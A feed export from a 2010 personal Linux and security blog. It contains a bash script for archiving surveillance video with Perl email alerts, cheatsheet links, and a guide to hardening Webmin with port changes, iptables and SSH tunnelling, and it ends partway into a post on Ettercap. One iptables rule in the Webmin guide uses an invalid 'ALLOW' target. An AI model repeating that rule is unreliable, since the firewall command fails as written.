<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/atom10full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" gd:etag="W/&quot;DU4AQXczfip7ImA9WxBbFU0.&quot;"><id>tag:blogger.com,1999:blog-8204022780549142603</id><updated>2010-03-13T11:19:00.986-08:00</updated><title>.InsecureSystem.</title><subtitle type="html" /><link rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" href="http://www.insecuresystem.org/feeds/posts/default" /><link rel="alternate" type="text/html" href="http://www.insecuresystem.org/" /><link rel="next" type="application/atom+xml" href="http://www.blogger.com/feeds/8204022780549142603/posts/default?start-index=26&amp;max-results=25&amp;redirect=false&amp;v=2" /><author><name>Neurophobic</name><uri>http://www.blogger.com/profile/14115777918828256014</uri><email>noreply@blogger.com</email></author><generator version="7.00" uri="http://www.blogger.com">Blogger</generator><openSearch:totalResults>43</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/atom+xml" href="http://feeds.feedburner.com/insecuresystem" /><feedburner:info uri="insecuresystem" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><entry gd:etag="W/&quot;CUQNRnczfSp7ImA9WxBbFU0.&quot;"><id>tag:blogger.com,1999:blog-8204022780549142603.post-4130413449660467758</id><published>2010-03-13T10:00:00.000-08:00</published><updated>2010-03-13T10:03:17.985-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-03-13T10:03:17.985-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Scripting" /><category scheme="http://www.blogger.com/atom/ns#" term="Perl" /><category scheme="http://www.blogger.com/atom/ns#" term="Surveillance" /><title>Archiving Surveillance Video</title><content type="html">Script Time!&lt;br /&gt;
Bash to archive some files, and perl to send email alerts.&lt;br /&gt;
&lt;br /&gt;
Even with my video captures only being triggered by motion... all the cars passing by, windy days, or cats that wander aimlessly around outside lead to images and .swf files to start building up fast. In the last week I had over 40000 .jpg files.. so along with turning down the sensitivity of the motion capture a bit, and moving a hanging plant out of the camera's view, I went ahead and made an archive script.&lt;br /&gt;
&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;#!/bin/bash&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;#when archiving, toss the still images, keep the .swf videos.&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;#This uses a for loop to do it because motion can&amp;nbsp;actually&amp;nbsp;create&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;#more files than the rm command can handle by it's self.&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;for i in $(ls /motion/ |grep .jpg); do rm /motion/$i; done&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;#make a temp archive folder and drop the videos in it&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;mkdir /tmp/archv&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;mv /motion/*.swf /tmp/archv/.&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;#anything you use more than once should be a variable&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;timestamp=$(date |awk '{print $2$3"-"$6}')&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;#build all the videos into a timestamped tarball for storage&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;tar czvf archive-$timestamp.tar.gz /tmp/archv&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;#check to make sure the new archive was made&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;#if it wasnt, leave the tmp file alone and send an email alert&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;if [ -f archive-$timestamp.tar.gz ]&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;then&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;&amp;nbsp;&amp;nbsp;rm -r /tmp/archv&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;else&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;&amp;nbsp;&amp;nbsp;perl /root/mail.pl&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;fi&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;#while we're here, just check on the disk usage&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;#and send an email alert if its over 50%&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;if [ $(df -h |grep /dev/sda1|awk '{print $5}'|cut -d% -f1) -ge 50 ]&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;then&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;&amp;nbsp;&amp;nbsp;/root/useagealert.pl&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;fi&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;The two perl scripts that are called are simple mailers, great little templates for interacting with sendmail. Here is an example of one:&lt;br /&gt;
&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;#!/usr/bin/perl&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;$title='archive';&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;$to='me@myaddress.com';&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;$from= 'archive@myserver.org';&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;$subject='Archive Failed';&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;open(MAIL, "|/usr/sbin/sendmail -t");&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;## Mail Header&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;print MAIL "To: $to\n";&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;print MAIL "From: $from\n";&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;print MAIL "Subject: $subject\n\n";&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;## Mail Body&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;print MAIL "Archive process failed, please check the logs\n";&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;close(MAIL);&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;&lt;br /&gt;
The archive script should then be added to the crontab, mine is set to archive twice a week for now, which will usually give me time to save images if I need to.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8204022780549142603-4130413449660467758?l=www.insecuresystem.org' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/SmP7_yliimZBDC0UQSiUcPsheLk/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/SmP7_yliimZBDC0UQSiUcPsheLk/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/SmP7_yliimZBDC0UQSiUcPsheLk/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/SmP7_yliimZBDC0UQSiUcPsheLk/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/insecuresystem/~4/x_Z-5L9wcng" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.insecuresystem.org/feeds/4130413449660467758/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.insecuresystem.org/2010/03/archiving-surveillance-video.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8204022780549142603/posts/default/4130413449660467758?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8204022780549142603/posts/default/4130413449660467758?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/insecuresystem/~3/x_Z-5L9wcng/archiving-surveillance-video.html" title="Archiving Surveillance Video" /><author><name>Neurophobic</name><uri>http://www.blogger.com/profile/14115777918828256014</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="05867391073010406514" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://www.insecuresystem.org/2010/03/archiving-surveillance-video.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DEYCQH04eCp7ImA9WxBbFEk.&quot;"><id>tag:blogger.com,1999:blog-8204022780549142603.post-1846741600378897886</id><published>2010-03-12T18:09:00.000-08:00</published><updated>2010-03-12T18:09:21.330-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-03-12T18:09:21.330-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Linux" /><category scheme="http://www.blogger.com/atom/ns#" term="Videos" /><title>Linux: The Code, Parts 1 and 2</title><content type="html">First two parts of "The Code", 2006 documentary on open source software and its use around the globe.&lt;br /&gt;
&lt;br /&gt;
&lt;div style="text-align: center;"&gt;Hooray for more publicly available documentaries.&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;&lt;div style="text-align: center;"&gt;&lt;object height="322" width="512"&gt;&lt;param name="movie" value="http://d.yimg.com/static.video.yahoo.com/yep/YV_YEP.swf?ver=2.2.46" /&gt;&lt;param name="allowFullScreen" value="true" /&gt;&lt;param name="AllowScriptAccess" VALUE="always" /&gt;&lt;param name="bgcolor" value="#000000" /&gt;&lt;param name="flashVars" value="id=4913207&amp;vid=1429610&amp;lang=en-us&amp;intl=us&amp;thumbUrl=http%3A//l.yimg.com/a/i/us/sch/cn/v/v4/w92/1429610_400_300.jpeg&amp;embed=1" /&gt;&lt;embed src="http://d.yimg.com/static.video.yahoo.com/yep/YV_YEP.swf?ver=2.2.46" type="application/x-shockwave-flash" width="512" height="322" allowFullScreen="true" AllowScriptAccess="always" bgcolor="#000000" flashVars="id=4913207&amp;vid=1429610&amp;lang=en-us&amp;intl=us&amp;thumbUrl=http%3A//l.yimg.com/a/i/us/sch/cn/v/v4/w92/1429610_400_300.jpeg&amp;embed=1" &gt;&lt;/embed&gt;&lt;/object&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;&lt;div style="text-align: center;"&gt;&lt;object height="322" width="512"&gt;&lt;param name="movie" value="http://d.yimg.com/static.video.yahoo.com/yep/YV_YEP.swf?ver=2.2.46" /&gt;&lt;param name="allowFullScreen" value="true" /&gt;&lt;param name="AllowScriptAccess" VALUE="always" /&gt;&lt;param name="bgcolor" value="#000000" /&gt;&lt;param name="flashVars" value="id=4928745&amp;vid=1434446&amp;lang=en-us&amp;intl=us&amp;thumbUrl=http%3A//l.yimg.com/a/i/us/sch/cn/v/v4/w110/1434446_100_70.jpeg%3Fx%3D158%26y%3D111%26sig%3DDvs_E89i0pp0IFBngacbHA--&amp;embed=1" /&gt;&lt;embed src="http://d.yimg.com/static.video.yahoo.com/yep/YV_YEP.swf?ver=2.2.46" type="application/x-shockwave-flash" width="512" height="322" allowFullScreen="true" AllowScriptAccess="always" bgcolor="#000000" flashVars="id=4928745&amp;vid=1434446&amp;lang=en-us&amp;intl=us&amp;thumbUrl=http%3A//l.yimg.com/a/i/us/sch/cn/v/v4/w110/1434446_100_70.jpeg%3Fx%3D158%26y%3D111%26sig%3DDvs_E89i0pp0IFBngacbHA--&amp;embed=1" &gt;&lt;/embed&gt;&lt;/object&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8204022780549142603-1846741600378897886?l=www.insecuresystem.org' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/1gBqTEB0Q2KfjPi59jSD-pCneRU/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/1gBqTEB0Q2KfjPi59jSD-pCneRU/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/1gBqTEB0Q2KfjPi59jSD-pCneRU/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/1gBqTEB0Q2KfjPi59jSD-pCneRU/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/insecuresystem/~4/-fRHY7fmXto" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.insecuresystem.org/feeds/1846741600378897886/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.insecuresystem.org/2010/03/linux-code-parts-1-and-2.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8204022780549142603/posts/default/1846741600378897886?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8204022780549142603/posts/default/1846741600378897886?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/insecuresystem/~3/-fRHY7fmXto/linux-code-parts-1-and-2.html" title="Linux: The Code, Parts 1 and 2" /><author><name>Neurophobic</name><uri>http://www.blogger.com/profile/14115777918828256014</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="05867391073010406514" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://www.insecuresystem.org/2010/03/linux-code-parts-1-and-2.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C0MBQXw4fyp7ImA9WxBbFEk.&quot;"><id>tag:blogger.com,1999:blog-8204022780549142603.post-8869902372807699947</id><published>2010-03-12T16:48:00.000-08:00</published><updated>2010-03-12T16:50:50.237-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-03-12T16:50:50.237-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="tutorials" /><category scheme="http://www.blogger.com/atom/ns#" term="networking" /><title>Networking Cheatsheets</title><content type="html">Both for people trying to learn about these subjects for the first time, as well as for those of us that just like to have a quick reference handy, cheat-sheets will always have a place in information technology.&lt;br /&gt;
&lt;br /&gt;
Thank you &lt;a href="http://twitter.com/packet_storm"&gt;@packet_storm&lt;/a&gt;, these are awesome.&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;&lt;span class="status-body"&gt;&lt;span class="entry-content"&gt;IPv4 Cheatsheet  &lt;a class="tweet-url web" href="http://packetstormsecurity.org/filedesc/IPv4_Subnetting.pdf.html" rel="nofollow" target="_blank"&gt;http://packetstormsecurity.org/filedesc/IPv4_Subnetting.pdf.html&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="status-body"&gt;&lt;span class="entry-content"&gt;Network Address Translation (NAT) Cheatsheet  &lt;a class="tweet-url web" href="http://packetstormsecurity.org/filedesc/NAT.pdf.html" rel="nofollow" target="_blank"&gt;http://packetstormsecurity.org/filedesc/NAT.pdf.html&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="status-body"&gt;&lt;span class="entry-content"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span class="status-body"&gt;&lt;span class="entry-content"&gt;Virtual Lan (VLAN) Cheatsheet  &lt;a class="tweet-url web" href="http://packetstormsecurity.org/filedesc/VLANs.pdf.html" rel="nofollow" target="_blank"&gt;http://packetstormsecurity.org/filedesc/VLANs.pdf.html&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="status-body"&gt;&lt;span class="entry-content"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span class="status-body"&gt;&lt;span class="entry-content"&gt;Wireshark Display Filters Cheatsheet  &lt;a class="tweet-url web" href="http://packetstormsecurity.org/filedesc/Wireshark_Display_Filters.pdf.html" rel="nofollow" target="_blank"&gt;http://packetstormsecurity.org/filedesc/Wireshark_Display_Filters.pdf.html&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="status-body"&gt;&lt;span class="entry-content"&gt;Common Ports Cheatsheet  &lt;a class="tweet-url web" href="http://packetstormsecurity.org/filedesc/common-ports.pdf.html" rel="nofollow" target="_blank"&gt;http://packetstormsecurity.org/filedesc/common-ports.pdf.html&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="status-body"&gt;&lt;span class="entry-content"&gt;tcpdump Cheatsheet  &lt;a class="tweet-url web" href="http://packetstormsecurity.org/filedesc/tcpdump.pdf.html" rel="nofollow" target="_blank"&gt;http://packetstormsecurity.org/filedesc/tcpdump.pdf.html&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="status-body"&gt;&lt;span class="entry-content"&gt;Cisco IOS IPv4 Access Lists Cheatsheet  &lt;a class="tweet-url web" href="http://packetstormsecurity.org/filedesc/IOS_IPv4_Access_Lists.pdf.html" rel="nofollow" target="_blank"&gt;http://packetstormsecurity.org/filedesc/IOS_IPv4_Access_Lists.pdf.html&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="status-body"&gt;&lt;span class="entry-content"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span class="status-body"&gt;&lt;span class="entry-content"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span class="status-body"&gt;&lt;span class="entry-content"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;These are all from &lt;a href="http://packetstormsecurity.org/"&gt;.:[ Packet Storm ]:.&lt;/a&gt; , one of my favorite sites.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8204022780549142603-8869902372807699947?l=www.insecuresystem.org' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/_QSZBKTw8_qKcFHNU7AgGy2zc9M/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/_QSZBKTw8_qKcFHNU7AgGy2zc9M/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/_QSZBKTw8_qKcFHNU7AgGy2zc9M/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/_QSZBKTw8_qKcFHNU7AgGy2zc9M/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/insecuresystem/~4/3ZWkynFgHMM" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.insecuresystem.org/feeds/8869902372807699947/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.insecuresystem.org/2010/03/networking-cheatsheets.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8204022780549142603/posts/default/8869902372807699947?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8204022780549142603/posts/default/8869902372807699947?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/insecuresystem/~3/3ZWkynFgHMM/networking-cheatsheets.html" title="Networking Cheatsheets" /><author><name>Neurophobic</name><uri>http://www.blogger.com/profile/14115777918828256014</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="05867391073010406514" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://www.insecuresystem.org/2010/03/networking-cheatsheets.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C0INRXg6fCp7ImA9WxBbEkU.&quot;"><id>tag:blogger.com,1999:blog-8204022780549142603.post-7804792280143743356</id><published>2010-03-10T18:07:00.000-08:00</published><updated>2010-03-10T20:26:34.614-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-03-10T20:26:34.614-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Security" /><category scheme="http://www.blogger.com/atom/ns#" term="Linux" /><title>Securing Webmin</title><content type="html">If you are a fledgling sysadmin, feeling lazy, or just plain want a gui and find yourself installing webmin on your server, please take a few minutes to secure it. I have a few simple examples of how this can be done. A lot of this also applies to other systems, so its good information to know even if you plan on never running webmin.&lt;br /&gt;
&lt;br /&gt;
&lt;div style="color: lime;"&gt;&lt;b&gt;Universal Step 1, Change the default port:&lt;/b&gt;&lt;/div&gt;Webmin listens on port 10000 by default and it is well known, this is a port that scripts and attackers actively look for. So to start, just change the port and reload webmin. I'll use 54444, use a different one in your own setup.&lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: #cc0000;"&gt;#vim /etc/webmin/miniserv.conf&lt;/span&gt;&lt;br /&gt;
&lt;div style="color: #3d85c6;"&gt;...&lt;/div&gt;&lt;div style="color: #3d85c6;"&gt;port=54444&lt;/div&gt;&lt;div style="color: #3d85c6;"&gt;listen=54444&lt;/div&gt;&lt;div style="color: #3d85c6;"&gt;...&lt;/div&gt;&lt;br /&gt;
&lt;div style="color: #cc0000;"&gt;#/etc/init.d/webmin restart&lt;/div&gt;&lt;br /&gt;
It would also be a good idea to at this point, if you hadn't already, add port 10000 to your portsentry rules. (&lt;a href="http://www.insecuresystem.org/2010/01/iptables-blacklist.html"&gt;http://www.insecuresystem.org/2010/01/iptables-blacklist.html&lt;/a&gt;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div style="color: lime;"&gt;&lt;b&gt;Option, Limit Access with Iptables:&lt;/b&gt;&lt;/div&gt;Only allow certain IP address or networks to reach the webmin port, drop all other attempts. I recommend establishing a chain similar to the example below.&lt;br /&gt;
&lt;br /&gt;
&lt;div style="color: #cc0000;"&gt;#iptables -N WEBMIN&lt;/div&gt;&lt;div style="color: #cc0000;"&gt;#iptables -I INPUT 1 -p tcp --dport 54444 -j WEBMIN&lt;/div&gt;&lt;div style="color: #cc0000;"&gt;#iptables -I INPUT 2 -p udp --dport 54444 -j WEBMIN&lt;/div&gt;&lt;div style="color: #cc0000;"&gt;#iptables -A WEBMIN -s 192.168.168.0/24 -j ALLOW&lt;/div&gt;&lt;div style="color: #cc0000;"&gt;#iptables -A WEBMIN -j DROP&lt;/div&gt;&lt;br /&gt;
&lt;div style="color: lime;"&gt;&lt;b&gt;Option, limit it to localhost and access webmin via port-forwarding:&lt;/b&gt;&lt;/div&gt;&lt;br /&gt;
Edit the miniserv.conf file, then restart webmin&lt;br /&gt;
&lt;div style="color: #cc0000;"&gt;#vim /etc/webmin/miniserv.conf&lt;/div&gt;&lt;div style="color: #3d85c6;"&gt;allow=127.0.0.1&lt;/div&gt;&lt;br /&gt;
Then from any other machine establish an ssh tunnel which forwards the webmin port&lt;br /&gt;
&lt;div style="color: #cc0000;"&gt;#ssh -L 54444:localhost:54444 user@myserver.org&lt;/div&gt;&lt;br /&gt;
And point your browser at https://localhost:54444&lt;br /&gt;
&lt;br /&gt;
&lt;div style="color: lime;"&gt;&lt;b&gt;Option, Hide it inside a VPN:&lt;/b&gt;&lt;/div&gt;If you establish a simple VPN then you can use either Iptables or the miniserv allow option as above to limit webmin to only allow access to the private vpn subnet.&lt;br /&gt;
&lt;br /&gt;
&lt;div style="color: lime;"&gt;&lt;b&gt;Finally:&lt;/b&gt;&lt;/div&gt;Webmin has had exploits against in the past; if you use it, make sure you keep it up to date.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
.....&lt;br /&gt;
&lt;br /&gt;
&lt;div style="color: lime;"&gt;&lt;b&gt;ps:&lt;/b&gt;&lt;/div&gt;&lt;div style="color: #cc0000;"&gt;#/etc/init.d/webmin stop &lt;/div&gt;&lt;span style="color: #cc0000;"&gt;#emerge --unmerge webmin&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8204022780549142603-7804792280143743356?l=www.insecuresystem.org' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/IBWJnncjD5AAYPabS4JLKPVwYZc/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/IBWJnncjD5AAYPabS4JLKPVwYZc/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/IBWJnncjD5AAYPabS4JLKPVwYZc/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/IBWJnncjD5AAYPabS4JLKPVwYZc/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/insecuresystem/~4/_LSMVVnm2ds" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.insecuresystem.org/feeds/7804792280143743356/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.insecuresystem.org/2010/03/securing-webmin.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8204022780549142603/posts/default/7804792280143743356?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8204022780549142603/posts/default/7804792280143743356?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/insecuresystem/~3/_LSMVVnm2ds/securing-webmin.html" title="Securing Webmin" /><author><name>Neurophobic</name><uri>http://www.blogger.com/profile/14115777918828256014</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="05867391073010406514" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://www.insecuresystem.org/2010/03/securing-webmin.html</feedburner:origLink></entry><entry gd:etag="W/&quot;A0YAQnk4eCp7ImA9WxBbEks.&quot;"><id>tag:blogger.com,1999:blog-8204022780549142603.post-3618421819417091311</id><published>2010-03-10T16:54:00.000-08:00</published><updated>2010-03-10T16:59:03.730-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-03-10T16:59:03.730-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Hacking" /><category scheme="http://www.blogger.com/atom/ns#" term="Videos" /><category scheme="http://www.blogger.com/atom/ns#" term="networking" /><title>Ettercap Plugins</title><content 